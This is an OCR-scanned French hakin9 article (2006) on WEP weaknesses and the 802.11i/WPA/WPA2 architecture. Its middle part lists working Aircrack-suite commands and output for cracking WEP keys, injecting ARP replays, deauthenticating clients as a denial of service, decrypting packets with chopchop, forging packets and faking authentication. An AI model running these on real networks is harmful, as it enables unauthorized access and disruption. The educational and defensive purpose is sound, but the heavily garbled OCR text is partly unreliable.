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S®curit® Wi-Fi 1 WEP, WPA

et WPA2
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°me quand les m@canismes de s®cu-
M rit® sont activ®s sur les ®quipements

Wi-Fi, on constate dans la majorit®
des cas qu'il s'agit du protocole de chiffrement
WEP s'®tant av®r® faillible. Dans cet article, nous
examinerons les failles du protocole WEP et la
facilit® de casser le protocole. Linad®quation du
WEP souligne les besoins d'une nouvelle archi-
tecture de s®curit® : la norme |IEEE 802.11i, que
nous detaillerons avec les impl®mentations du
WPA et du WPA2, leurs premi res vuln®rabilit®s
mineures et leurs impl®mentations dans les sys-
t mes d'exploitation.

La mort du WEP

Le WEP (Wired Equivalent Privacy) est le pro-
tocole de chiffrement par d®faut introduit dans
la 1 norme 802.11 datant de 1999. Il est bas®
sur l'algorithme de chiffrement RC4 avec une cl®
secr te de 40 ou 104 bits combin®e " un vec-
teur d'initialisation (Initialisation Vector T IV) de
24 bits ayn de chiffrer un message en clair M et
sa somme de contrtle (checksum) T I'ICV (Inte-
grity Check Value). Le message chiffr® est alors
d®termin® en utilisant la formule suivante :

C=[M|[ICV(M)]+[RCA(K || IV) ]
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Le Wi-Fi (Wireless Fidelity) est une des technologies sans

yl dominante actuellement avec un support de plus en plus
INt®gr® dans les ®quipements : ordinateurs portables, agendas
®lectroniques, tRI®phones portables, etc. Malheureusement,
un aspect de la conyguration est souvent oubli® et m@connu :
la s®curit®. Voyons un peu le niveau de s®curit® des differents
syst mes de chiffrement pouvant °tre utilis®s dans les
impl®mentations modernes du Wi-Fi.

o% || repr@sente l'op@rateur de concat®nation
et + I'op@rateur XOR. Le vecteur d'initialisation
est la cl® de vo¥ite de la s®curit® du WEP, pour
maintenir un niveau d®cent de s®curit® et ®viter
la fuite d'information I'lV doit °tre incr@ment®
pour chaque paquet ayn que le paquet suivant
soit chiffr® avec une cl® differente. Malheureu-
sement pour la s®curit® du protocole, I'V est
transmis en clair et le standard 802.11 ne rend
pas obligatoire l'incrementation de I'V laissant
cette mesure de s®curit® au bon vouloir de

p
Cet article explique...

A les failles du protocole WEP,

A une vue globale de la norme 802.11i et de ses
impl®mentations commerciales : le WPA et le
WPA2,

A les notions de base du 802.1x,

A les failles potentielles du WPA et du WPA2.

Ce qu'il faut savaoir...

A les notions de base des protocoles TCP/IP et
Wi-Fi,
A les notions de base de la cryptograpie.
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I'®quipement sans yl (point d'acc s
ou carte sans yl).

La br ve histoire du WEP

Le protocol WEP ne fut pas cr®® par
des experts s®curit® ou du monde de
la cryptographie, il s'av®ra faillible
“un probl me de l'algorithme RC4
d®crit par David Wagner quatre ans
auparavant. En 2001, Scott Fluhrer,
Itsik Mantin et Adi Shamir (FMS pour
faire court) publi rent leur fameux
papier sur la s®curit®e WEP dans
lequel ils d@taillaient deux vuln®ra-
bilit®s dans l'algorithme de chiffre-
ment RC4: linvariance weaknesses
et l'attaque par IV connu. Ces deux
attaques reposent sur le fait que
pour certaines valeurs de la cl®, il est
possible pour les 1° bits de la suite
chiffrante de d®pendre uniquement
de quelques bits de la cl® (normale-
ment chaque bit de la suite chiffrante
a 50% de chance d'°tre different du
bit de la suite chiffrante pr@c®dente).
Comme la cl® est compos®e de la
concat®nation d'une cl® secr te
et de I'lV, certaines valeurs de cet IV
g®n rent des cl®s dites faibles.

Ces vuln@rabilit®s furent exploi-
t®es par des outils de s®curit® tel Air-
snort, permettant de retrouver la cl®
WEP en analysant une importante
qguantit® de trayc chiffr®. Cette atta-
que se r@vllait fructueuse dans un
temps raisonnable sur des r@®seaux
sans yl assez charg® au niveau trayc
mais n®cessitait un temps de calcul
assez long. David Hulton (hlkari)
d®couvrit une am®lioration de [at-
taque pr@c®dente en ne prenant
pas uniguement en consid@ration le
1°" octet de la sortie de l'algorithme
RC4 (comme dans la m@thode FMS)
mais aussi les suivants, cela permet-
tant de r®duire signiycativement la
quantit® de donn®es " capturer pour
I'analyse.

Le contrtle d'int®grit® souffre
aussi de s@rieuses failles d¥%es ™" I'uti-
lisation de I'algorithme CRC32 choisi
pour cette tOche. Cet algorithme est
frequemment utilis® pour la d®tection
d'erreurs mais n'a jamais ®t® consi-
d®r® cryptographiqguement s¥%r pour
du contrile d'int®grit® ** cause de sa
lin®arit®, c'est ce que Nikita Borisov,
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Suite chiffrante = RC4 (IV,k) |
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ICV(M) |
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CHIFFRE

C=[M]||ICV(M)]+[RC4(K || IV)]

Figure 1. Le protocole de chiffrement WEP

lan Goldberg et David Wagner souli-
gnait d®j"" en 2001.

Il ®tait alors admis que le WEP
fournissait une s®curit® acceptable
pour les particuliers et les applica-
tions non critiques. Cette afyrmation
a ®t® d®mentie avec l'apparition de
l'attaque de KoreK en 2004 (g®n®ra-
lisant I'attaque FMS en incluant les
optimisation propos®es par hlkari),
et l'attaque inductive inverse de
Arbaugh permettant le d®cryptage
arbitraire d'un paquet sans connais-
sance de la cl® et linjection de
paquets. Des outils de cassage de
cl®s tel que Aircrack de Christophe
Devine ou Weplab de Jos® Ignacio
S8nchez impl®ment rent ces nou-
velles attaques et furent en mesure
de casser une cl® WEP 128 bits en
moins de 10 minutes (ce temps pou-
vant °tre along® suivant le point d'ac-
c s et la carte sans yl utilis®e).

Le fait d'injecter des paquets a
permis de diminuer sensiblement
le temps n®cessaire pour casser le
WEP, l'attaque ne n@cessitant pas
la capture de millions de trames
mais simplement un certain nombre
de paquets avec des IV uniques
T partir de 150 000 paquets pour une
cl® WEP 64 bits et 500 000 paquets
pour une cl® WEP de 128 bits. GrOce
" I'injection de paquets, la collecte du
nombre n®cessaire d'information n'est
plus qu'une question de minutes. Do-
renavant, le WEP peut °tre consid®r®
mort (voir le Tableau 1) et ne devrait
plus °tre utilis®, m°me si une rotation
des cl®s a ®® mise en place.

Les failles du WEP peuvent se
resumer ainsi:

A faiblesse de l'algorithme RC4 au
sein du protocole WEP d¥%e " la
construction de la cl®,

Tableau 1. Chronologie de la mort du WEP

Septembre 1995

Vuln@rabilit® potentielle dans RC4 (Wagner)
Premi re publication sur les faiblesses du WEP :

Unsafe at any key size; An analysis of the WEP

An inductive chosen plaintext attack against WEP/

Octobre 2000

encapsulation (Walker)
Mai 2001

WEP2 (Arbaugh)
Juillet 2001

Attaque bit pipping sur le CRC T Intercepting Mobile

Communications : The Insecurity of 802.11 (Borisov,
Goldberg, Wagner)

Ao¥t 2001

Attaques FMS T Weaknesses in the Key Scheduling

Algorithm of RC4 (Fluhrer, Mantin, Shamir)

Ao¥t 2001
F®vrier 2002

Ao¥%t 2004
et chopper

Juillet/Ao¥%t 2004

Sortie de AirSnort
Optimisation de l'attaque FMS par hlkari

Attaque de KoreK (IVs uniques) T sortie de chopchop

Sortie d'Aircrack (Devine) et WepLab (Sanchez )

impl®mentant I'attaque de KoreK.

hakin9 NU 1/2006

www.hakin9.org




(

Dossier

-
Listing 1. Activation du mode moniteur Requ°te ARP
# airmon.sh start athO Le protocole ARP (Address Resolution
Interface Chipset Driver Protocol T RFC826) est utilis® pour fai-
ath0 Atheros madwiy (monitor mode enabled) re la correspondance entre des adres-
ses IP sur 32 bits et I'adresse Ethernet
sur 48 bits (les r®seaux Wi-Fi utilisent
- . A . aussi le protocole Ethernet). Par exem-
Listing 2. D®couverte des re@seaux et des clients Wi-Fi environnants ple, quand une machine A (192.168.1.1)
# airodump ath0 wep-crk 0 veut communiquer avec une machine
B (192.168.1.2), I'adresse IP connue de
BSSID PWR Beacons # Data CH MB ENC  ESSID B doit °tre traduite avec son adresse
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo MAC correspondante. Pour r®aliser
cel”, la machine A envoie un message
BSSID STATION PWR Packets ESSID en diffusion contenant l'adresse IP de
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo la machine B (Who has 192.168.1.2?
Tell 192.168.1.1). La machine cible, re-
connaissant que l'adresse IP du paquet
A lataille allou®e aux IV est trop fai-  n@cessite la derni re version des correspond " la sienne, retourne une
ble (24 bits T moins de 5000 pa- pilotes modiy®s. Ce mode est reponse r®"®|a”t son adresse MAC
quets sont n@cessaire pour avoir  '®quivalent du mode promiscuous (192.1681.2 is at 01:23:45:67:89:0A).
. L La r®ponse est g®n@ralement mise en
50% de chance de collision) etla  des r®seaux ylaires dans lequel on cache
r@utilisation des IV est autorisRe  @vite le rejet des paquets n'®tant N ’
(pas de protection contre le rejeu  pas " destination de la machine se
des messages), trouvant dans ce mode (ceci est La 1 ®tape consiste ~~ activer
A aucun vrai contrtle d'int®grit® (le  g®n@ralement effectu® au niveau de le mode moniteur sur les cartes

CRC32 est normalement utilis®
pour la d®tection d'erreur et n'est
pas une fonction cryptographique
pour I'int®grit® du fait de sa lin®a-
rit®),

A aucun m@canisme interne de mi-
se " jour des cl®s n'est pr@sent.

Cassage de cl® WEP en
utilisant Aircrack

Des attaques pratiques contre le WEP
peuvent °tre facilement men®es gréce
" des outils tel que Aircrack (outil cre@®
par le chercheur fran-ais en s®curit®
Christophe Devine). Aircrack est une
suite d'outils compos®e de 3 princi-
paux binaires ®tant utilis® conjointe-
ment pour retrouver la cl® :

A airodump : outil de capture r®-
seau utilis® pour d®couvrir les
r®seaux WEP environnants,

A aireplay : outil pour injecter artiy-
ciellement du trayc,

A aircrack : casseur de cl® WEP
utilisant les IVs uniques collect®s
pr®alablement.

Linjection de trayc utilisant aireplay
n'est support®e que sur une certain
nombre de puce Wi-Fi, le support
pour linjection en mode moniteur
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la couche physique du mod le OSI)
autorisant ainsi la capture de tous les
paquets. Avec des pilotes modiy®s, il
est possible d'injecter et de capturer
simultan®ment le trayc en utilisant
une seule carte sans yl.

Le but de I'attaque est de g®n®rer
du trayc ayn de capturer des IVs uni-
gues transmis entre un client I®gitime
et le point d'acc s. Certaines don-
n®es chiffrees sont facilement d®-
tectables car elles ont des longueurs
yxes, des adresses destinations
yxes, etc. C'est le cas par exemple
des requ°tes ARP (voir liEncadr®
Requ°te ARP envoy®es " l'adresse
destination de diffusion (FF:FF:FF:
FF.FF:FF) avec une taille yxe de
68 octets. Ces requ°tes ARP peu-
vent °tre rejou®es ayn de g®n@rer
des r®ponses ARP d'un client 1®gi-
time, ces messages ®tant chiffr®s
avec de nouveaux IVs.

Dans les exemples suivants,
00:13:10:1F:9A:72 est [l'adresse
MAC du point d'acc s (BSSID) sur le
canal 1 avec le SSID hakin9demo et
00:09:5B:EB:C5:2B l'adresse MAC
du client sans yl (utilisant le WEP
ou WPA-PSK suivant les cas). La
plupart des commandes n®cessitent
les privil ges root.

www.hakin9.org

sans yl (ici un mod le bas® sur un
composant Atheros) ayn de captu-
rer tous le trayc (voir le Listing 1).
L'®tape suivante permet de d®couvrir
les r®seaux sans yl environnants en
scannant les 14 canaux utilis®s par
les r@seaux Wi-Fi (voir le Listing 2).

Le r®sultat du Listing 2 peut °tre
interpr®t® de la fa-on suivante :
un point dacc s avec le BSSID
00:13:10:1F:9A:72 utilise le protocol
WEP sur le canal 1 avec le SSID
hakin9demo, un client identiy® par la
MAC 00:0C:F1:19:77:5C est associ®
et authentiy® sur ce r®seau sans yl.

Une fois le r@seau cible de l'at-
taque rep@®r®, la capture doit °tre
realis®e sur le canal ad®quat pour
®viter de perdre des paquets lors
du passage sur les autres canaux.
Cette ®tape fournit une sortie simi-
laire * I'®tape pre@c®@dente :

# airodump athO wep-crk 1

Ensuite, il est possible de lancer
l'injection de trayc avec aireplay en
utilisant les informations pr®@c®dem-
ment d®couvertes. Linjection com-
mencera d s qu'une requ°te ARP
correspondant au BSSID attaqu®
sera captur®e sur le r@seau sans yl :
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# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-X 600 athO

-2

Read 980 packets
(got 16 ARP requests),
sent 570 packets. ..

L'®tape ynale consiste a utiliser air-
crack pour casser la cl® WEP. Il est
possible de lancer cette ®tape sur le
ychier pcap alors que airodump cap-
ture toujours le trayc (voir les r®sul-
tats d'aircrack sur la Figure 2) :

# aircrack -x -0 wep-crk.cap

Autres types
d'attaques bas®es sur
Aircrack

D'autres attaques int®ressantes

peuvent °tre r@alis®es avec Aircrack.
Voyons quelques unes d'entre elles.

Attaque 2 : D®-authentiycation
Cette attaque peut °tre conduite pour
d®couvrir un SSID cach® (i.e. un
identiyant non diffus®), pour capturer
le 4-Way Handshake WPA ou pour
r®aliser un d®ni de service (le sujet
sera abord® plus loin dans la partie
802.11i). Le but de cette attaque est
de forcer la r®-authentiycation des
clients, elle est rendue possible par
le manque d'authentiycation des
trames de contrile (utilisRes pour
l'authentiycation, l'association, etc.)
permettant ** un attaquant d'usurper
les adresses MAC.

Un client sans yl peut °tre d®-
authentiy® en utillisant la commande
suivante, cette derni re usurpant
l'adresse MAC du BSSID pour en-
voyer un paquet de d®-authentiyca-
tion " l'adresse MAC du client vis® :

# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
atho

Une d®-authentiycation massive est
aussi possible (mais pas toujours
tr s yable) en usurpant continuel-
lement le BSSID et en envoyant les

[00:00:09] Tested 2 keys {got 707852 IVs)

Figure 2. R®sultat d'Aircrack apr s quelques minutes

paquets de d®-authentiycation
I'adresse de diffusion:

# aireplay -0 0
-a 00:13:10:1F:9A:72
athO

Attaque 3 : D®crypter un
paquet chiffr® avec le
protocole WEP sans conna’tre
lacl®

Cette attaque est bas®e sur la preuve
de concept publi®e par KoreK appel-
I®e chopchop pouvant d®crypter un
paquet chiffr® avec le protocole WEP
sans avoir connaissance de la cl®. Le
contrtle d'int®grit® impl®ment® dans le
protocole WEP permet " un attaquant
de modiyer " la fois le contenu chiffr®
du paquet et le CRC correspondant.
De plus, l'utilisation de l'op®rateur
XOR au sein du protocole WEP im-
pligue gu'un octet dans le message
chiffr® d®pend toujours du m°me octet
du texte en clair. En coupant le mes-
sage chiffr® de son dernier octet, le
message devient corrompu mais il est
possible de faire un choix sur la valeur
de l'octet correspondant du texte en
clair et de corriger le texte chiffr®.

Si le paquet corrig® est rRinject®
sur le r@seau, il sera supprim® par
le point d'acc s si le choix fait est
incorrect (dans ce cas un nouveau
choix doit °tre fait) mais pour un choix
correct il relayera le paquet comme
" son habitude. En r@®p®tant l'attaque
sur tous les octets du message chiffr®,
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il est possible de d®crypter l'int®gra-
lit® du paquet et de retrouver la suite
chiffrante associ®e. Il est important de
noter que l'incr@mentation de I'V n'est
pas obligatoire dans le protocole WEP,
il est donc possible de r@utiliser la suite
chiffrante pour usurper d'autres pa-
quets (en r®-utilisant le m°me 1V).

La carte sans yl doit °tre bascul®e
dans le mode moniteur sur le canal
ad®quat (voir l'exemple pr@c®dent
pour la d®marche ™ suivre). Latta-
que doit °tre lanc®e contre un client
I®gitime (toujours 00:0C:F1:19:77:5C
dans notre cas), aireplay informera
l'attaquant de chaque paquet chiffr®
qu'il capturera (voir le Listing 3). Deux
ychiers pcap sont cr®®s: un pour
le paquet d®chiffr® et l'autre pour la
suite chiffrante associ®e. Le ychier
de donn®es r®sultant peut °tre lu par
un lecteur ad®quat (nous utiliserons
tcpdump) T voir le Listing 4 pour un
ping ®chang® entre deux machines.

Une fois la suite chiffrante captu-
ree, il est possible d'usurper n'importe
quel paquet chiffr®. Ici une requ°te
ARP envoy®e de 192.168.2.123 (00:
0C:F1:19:77:5C) " 192.168.2.103 :

# arpforge \
replay_dec-0916-114019.xor \
1\
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \

forge-arp.cap

hakin9 NU 1/2006
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Listing 3. D®@cryptage d'un paquet WEP sans connaissance pr®alable

delacl®

# aireplay -4 -h 00:0C:F1:19:77:5C athO
Read 413 packets. ..
Size: 124, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c
0x0010: 0013 101f 9a70 c040 c3ec el00
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47
0x0030: 0078 91c8 adfe bf30 d98c 1668
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ael
0x0050: fh13 clad b8b8 e735 239a 55c2
0x0060: 862b 3ecl 5bla ala7 223b 0844
0x0070: 3b88 c5bl 0843 0289 1bff 5160

Use this packet ? y

Offset 123 ( 0% done) | xor = 07 | pt
Offset 122 ( 1% done) | xor = 7D | pt
-9

Offset 35 (97% done) | xor = 83 | pt
Offset 34 (98% done) | xor = 2F | pt

Saving plaintext
Saving keystream
Completed in 183s (0.47 bytes/s)

119 775¢  .A....... r....w\
blel 062c ..... [ I )
5abd 5b76 \."...h.#..GZ.[v
56bf 536C .X..... 0...hv.SI
3477 74b4 pF_..K....j.4wt.
ead9f 5be6 ....... 5#.U...[
37d1 ebel .+>.[...";.D7.
Jo---CllQ

Saving chosen packet in replay_src-0916-113713.cap

67 | 373 frames written in 1120ms
2C | 671 frames written in 2013ms
00 | 691 frames written in 2072ms
08 | 692 frames written in 2076ms

in replay_dec-0916-114019.cap
in replay_dec-0916-114019.xor

Finalement, aireplay peut °tre uti-
lis® pour rejouer ce paquet (voir le
Listing 5).

Cette m@thode est moins
automatique que l'attaque propre
* Aircrack de construction de re-
qu°te ARP (l'option -1) mais elle est
beaucoup plus modulaire T l'atta-
quant peut utiliser la suite chiffrante
qu'il a d®couverte pour forger n'im-
porte quel paquet dont la taille est
inferieure " la suite chiffrante (dans
le cas contraire il doit I'agrandir).

Attaque 4 : Fausse
authentiycation

Les m@thodes pour casser le proto-
cole WEP ®nonc®es prec®demment
(Attaque 1 ** 3) n®cessitent un client
sans yl I®gitime (physique ou virtuel,
un client physique ®tant g®@n®ralement
plus ad®quat) associ® au pointd'acc s
pour que ce dernier ne supprime pas
les paquets " cause d'une adresse de
destination d'un client non associ®.

Si une authentiycation ouverte
est utilisRe, n'importe quel client
peut s'authentiyer et s'associer sur
le point d'acc s, ce dernier suppri-
mant ensuite les paquets non en-
voy®s avec la bonne cl® WEP. Dans
I'exemple de la Listing 6, aireplay est

utilis® pour falsiyer une demande
d'authentiycation et d'association
pour le SSID hakin9demo (BSSID:
00:13:10:1F:9A:72) avec l'adresse
MAC usurp®e 0:1:2:3:4:5.

Certaines bornes n®cessitent la
re-assocition du client toutes les 30

secondes. Ce comportement peut
°tre imit® par aireplay en rempla-ant
la seconde option (0) par 30.

La norme 802.11i

En janvier 2001, le groupe de travail
i fut cr®ee " I''EEE pour am@liorer
l'authentiycation et le chiffrement des
donn®es au sein des r@seaux 802.11.
En avril 2003, la Wi-Fi Alliance (une
association promouvant et certiyant
les ®quipements Wi-Fi) publia une re-
commandation pour r®pondre aux in-
quiGtudes des entreprises concernant
la s®curit® des r®seaux sans yl. Ces
derniers ®taient aussi au courant que
les clients n'@taient pas pre°t =" rempla-
cer leurs ®quipements existants.

En Juin 2004, la version ynale
de la norme 802.11i fut adopt®e et
le nom commercial WPA2 fut choisi
par la Wi-Fi Alliance. La norme IEEE
802.11i introduit des changements
fondamentaux comme la s®paration
de l'authentiycation utilisateur et le
chiffrement/contrtle d'int®grit® des
messages, cel” permettant une
architecture de s®curit® robuste
passant =" I'®chelle et convenant par-
faitement tant aux entreprises qu'aux
particuliers. La nouvelle architecture
pour les r@seaux sans yl est appell®e

Listing 4. Lecture d'un ychier pcap issu de l'attaque 3

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from yle replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1F:9a:72 A

SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70
LLC, dsap SNAP (Oxaa), ssap SNAP (Oxaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64

# aireplay -2 -r forge-arp.cap athO
Size: 68, FromDS: 0, ToDS: 1 (WEP)

Use this packet ? y

Sent 1029 packets...

Listing 5. Rejeu d'un paquet forg®

BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775¢c .A....... r....w\
0x0010: Ffff ffff £fFf 8001 c3ec el00 blel 062C ......coeuon-.. R
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.".1. .%.KF....
0x0030: b78c 5307 6f2d bdce d18c 8d33 ccll 510a ..S.o-.....3..Q.
0x0040: 49b7 52da 1.R.

Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
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RSN (Robust Security Network) et
utilise l'authentiycation 802.1X, la
rotation et la distribution des cl®s et
de nouveaux m@canismes d'int®grit®
et de chiffrement.

Bien que l'architecture RSN soit
plus complexe, elle a le m@rite de
proposer une solution s®curis®e pou-
vant passer facilement ** I'®chelle. Un
RSN devrait typiguement accepter
uniquement des ®quipements ca-
pables de supporter les RSN mais
I'lEEE 802.11i a aussi d®yni une archi-
tecture temporaire TSN (Transitional
Security Network) dans laquelle les
®quipements RSN et les syst mes
WEP peuvent coexister permettant
ainsi aux utilisateurs de mettre " jour
leurs ®quipements. Si la proc®dure
d'authentiycation ou d'association
utilis®e entre deux stations est bas®
sur le 4-Way Handshake, I'association
est appellde RSNA (Robust Security
Network Association).

Un contexte de communication
s®curis® s'effectue en quatre phases
(voir la Figure 4) :

A la mise en accord sur la politique
de s®curit®,

Listing 6. Fausse authentiycation

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 athO

18:30:00 Sending Authentication Request

18:30:00 Authentication successful

18:30:00 Sending Association Request

18:30:00 Association successful

A lauthentiycation 802.1X,

A la d@rivation et la distribution des
cl®s,

A le chiffrement et I'int®grit® au sein
d'une RSNA.

Phase 1 : Mise en accord sur
la politique de s®curit®

La premi re phase permet aux deux
parties communicantes de s'accorder
sur la politique de s®curit® ** utiliser.
Les politiques de s®curit® support®es
par le point d'acc s sont diffus®es
dans les trames Beacon et Probe
Response (suivant un message Probe
Request du client). Une authentiyca-
tion ouverte standard constitue I'®tape
suivante (comme celle utilis®e dans
les r®seaux TSN, cette authentiyca-
tion est toujours positive). La r@ponse
du client aux politiques de s®curit®
support®es est incluse dans le mes-

sage Association Request valid® par
le message Association Response
du point d'acc” s. Les informations de
la politique de s®curit® sont envoy®es
dans le champ RSN IE (Information
Element) d@taillant :

A les m@thodes d'authentiycation
support®es (802.1X, cl® pr®-par-
tag®e (PSK)),

A le protocole de s®curit® pour
le chiffrement du trayc vers
une seule destination (unicast)
(CCMP, TKIP, etc.) T suite de
chiffrement pairwise,

A le protocole de s®curit® pour le
chiffrement du trayc en diffusion
(multicast) (CCMP, TKIP, etc.)
T suite de chiffrement de groupe,

A le support de la pr@®-authentiyca-
tion permettant aux utilisateurs
de se pr®-authentiyer avant de

IEEE 802.1X et EAP

~

Le procotole d'authentiycation 802.1X (aussi connu sous le nom
de contrtle d'acc s bas® sur le port (Port-Based Network Access
Control)) est un cadre de travail d®velopp® initialement pour le
r@seau ylaire fournissant l'authentiycation, l'autorisation, les m®-
chanismes de distribution des cl®s en impl®mentant un contrtle
d'acc s pour les utilisateurs se connectant au r@seau. L'architec-
ture 802.1X est consitu®e de trois entit®s fonctionnelles :

A le client 802.1X (supplicant) voulant joindre le r@seau,

A le contrtleur (authentifcator) contrtlant l'acc™s au r@seau,

A le serveur d'authentiycation (authentication server) prenant
les d®cisions d'autorisation.

Dans les r@seaux sans yl, le point d'acc” s joue le rtle de contrt-
leur. Chaque port physique (port virtuel dans le cas des r@seaux
sans yl) est divis® en deux ports logiques appell®s PAE (Port
Access Entity). Le PAE d'authentiycation est toujours ouvert et
autorise toutes les trames d'authentiycation *~ le traverser tandis
que le PAE de service est uniqguement ouvert apr s une authenti-
ycation r@ussie (i.e. dans un ®tat autoris®) pour une dur®e limit®e
(3600 secondes par d®faut). La d®cision relative " 'acc™ s revient
" la troisi me entit® appell®e serveur d'authentiycation (qui peut
°tre soit un serveur Radius d®di® ou T par exemple pour les parti-

culier T un simple processus fonctionnant sur le point d'acc” s). La
Figure 3 illustre comment ses entit®s communiquent entre elles.

La norme 802.11i apporte quelques modiycations ** la norme
IEEE 802.1X pour l'adapter aux r@seaux sans yls et en particulier
pour la prot®ger du vol d'identit®. L'authentiycation des messages
a ®t® incluse pour garantir que le client 802.1X et le contrtleur (la
borne) calculent correctement leurs cl®s secr tes et activent le
chiffrement avant de communiquer sur le r@seau.

Le client 802.1X et le contrtleur communiquent en utilisant
un protocole bas® sur EAP. Il est important de comprendre que
le contrtleur joue un rtle passif T il transmet simplement tous les
messages au serveur d'authentiycation. EAP est un cadre de tra-
vail pour le transport de m@thodes d'authentiycation vari®es bas®
surun nombre limit® de messages (Request, Response, Success,
Failure), tandis que les messages interm®diaires sont d®pendant
de la m@thode d'authentiycation s®lectionn®e: EAP-TLS, EAP-
TTLS, PEAP, Kerberos V5, EAP-SIM, etc. Quand le processus
complet est achev®, les deux entit®s (i.e. le client 802.1X et le
serveur d'authentiycation) partagent une cl® ma’tresse secr te.
Le protocole utilis® dans les r®@seaux sans yls pour transporter
EAP s'appelle EAPOL (EAP Over LAN), les communications
entre le contrtleur et le serveur d'authentiycation utilisent des
protocoles de plus haut niveau tel que Radius, etc.

www.hakin9.org
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Figure 3. Mod le IEEE 802.1X issu de la norme IEEE 802.1X

Mise en accord

A

sur la politique de sécurité

Authentification 802.1x

\/

A

Dérivation et

\/

Distribution de la MK

A

distribution des clés

Chiffrement et intégrité

X
A

via Radius

<
<

au sein d'une RSNA

\/

Figure 4. Les phases op@rationnelles du 802.11i

Probe Request

Probe Response + RSN IE

A

CCMP Mcast, CCMP Ucast, 802.1x auth

802.11 Open System Authentication

\/

802.11 Open System Authentication — Success

A

Association Request + RSN IE

\ 4

STA request CCMP Mcast, CCMP Ucast, 802.1x auth

Association Response — Success

A

Figure 5. Phase 1 : La mise en accord sur la politique de s®curit®

basculer sur un nouveau point
d'acc s pour un handover en
douceur.

La Figure 5 illustre cette premi re
phase.

hakin9 NU 1/2006

Phase 2 : Authentiycation
802.1X

La seconde phase consiste en
l'authentiycation 802.1X bas®e sur
EAP et la m®thode sp®ciyque choi-
sie: EAP/TLS avec certiycat client

www.hakin9.org

et serveur (n®cessitant une infras-
tructure " cl® publique), EAP/TTLS
ou PEAP pour des authentiycations
hybrides (0% le certiycat est unique-
ment n®cessaire c1t® serveur) etc.
L'authentiycation 802.1X est initi®e
lorsque le point d'acc s demande
les donn®es d'identiycation du client,
la r@ponse du client contient alors la
m@thode d'authentiycation pref@r@e.
Differents messages T d®pendant de
la m@thode sp®ciyque choisie T sont
alors ®chang®s par la suite entre le
client et le serveur d'authentiycation
ayn de g®n@rer une cl® ma'tresse
(Master Key T MK). & la yn de la pro-
c®dure, un message Radius Accept
est envoy® du serveur d'authentiy-
cation au point d'acc s contenant la
MK ainsi gu'un message ynal EAP
Success pour le client. La Figure 6
illustre cette seconde phase.

Phase 3 : Hi®rarchie et
distribution des cl®s

La s®curit® des transmissions repose
essentiellement sur des cl®s secr tes.
Dans les RSN, chaque cl® a une du-
ree de vie limitee et de nombreuses
cl®s sont utilis®es, organis®es dans
une hi@rarchie. Quand un contexte de
s®curit® est ®tabli apr s une authenti-
ycation r@ussie, des cl®s temporaires
(de sessions) sont cr@®es et reguli re-
ment mises " jour jusqu”’ la fermeture
du contexte. La g®n@ration et ®chan-
ge des cl®s est le but de cette troi-
si me phase. Deux poign®es de main
(Handshake) ont lieu pour d@river les
differentes cl®s (voir la Figure 7) :

A Le 4-Way Handshake pour la
d®rivation de la PTK (Pairwise
Transient Key) et de la GTK
(Group Transient Key),

A Le Group Key Handshake pour le
renouvellement de la GTK.

La d@rivation de la PMK (Pairwise
Master Key) d®pend de la m®@thode
d'authentiycation choisie :

A si la PSK (Pre-Shared Key) est
utilisee, PMK = PSK. La PSK
est g®n®r®e " partir de la phrase
secr te (compos®e de 8 " 63 ca-
ract res) ou directement = partir




S®curit® WEP, WPA et WPA2

d'une cha'ne de 256 bits, cette
m®thode est adapt®e pour les
particuliers n'ayant pas de ser-
veur d'authentiycation,

A si un serveur dauthentiycation
est utilis®, la PMK est d®riv®e de
la MK issue de l'authentiycation
802.1X.

La PMK en elle m°me n'est jamais
utilis®e pour le chiffrement ou le
contrtle d'int®grit®. N®anmoins, elle
est utilis®e pour la g®n®ration de cl®s
de chiffrement temporaires T pour le
trayc ~* destination d'une machine il
s'agit de la PTK (Pairwise Transient
Key). La taille de la PTK d®pend
du protocol de chiffrement choisi :
512 bits pour TKIP et 384 bits pour
CCMP. La PTK consiste en plusieurs
cl®s temporelles d@di®es :

A KCK (Key Conyrmation Key
T 128 bits) : CI® pour authentiyer
les messages (MIC) durant le
4-Way Handshake et le Group
Key Handshake,

A KEK (Key Encryption Key
T 128 bits) : CI® pour la cony-
dentialit® des donn®es durant le
4-Way Handshake et le Group
Key Handshake,

A TK (Temporary Key T 128 bits) :
Cl® pour le chiffrement des
donn®es (utilis®e dans TKIP ou
CCMP),

A TMK (Temporary MIC Key
T 2x64 bits) : CI® pour l'authentiy-
cation des donn®es (utilis®e seu-
lement par Michael dans TKIP).
Une cl® d®di®e est utilis®e pour
chaque sens de communication.

Cette hi®rarchie peut °tre r@sum®e
en Figure 8.

Le 4-Way Handshake, initi® par le
point d'acc s, permet :

A de conyrmer la connaissance de
la PMK par le client,

L de d@river une nouvelle PTK,

A dinstaller les cl®s de chiffrement
et d'int®grit®,

A de chiffrer le transport de la
GTK,

A de conyrmer la suite de chiffre-
ment choisie.

802.1X/EAP — Request Identity

<—| 802.1X ‘é(— RADIUS I

<
<

802.1X/EAP — Response Identity
RADIUS Access
Request Identity

Messages EAP spécifiques a la méthode choisie

Dérivation MK
RADIUS Accept

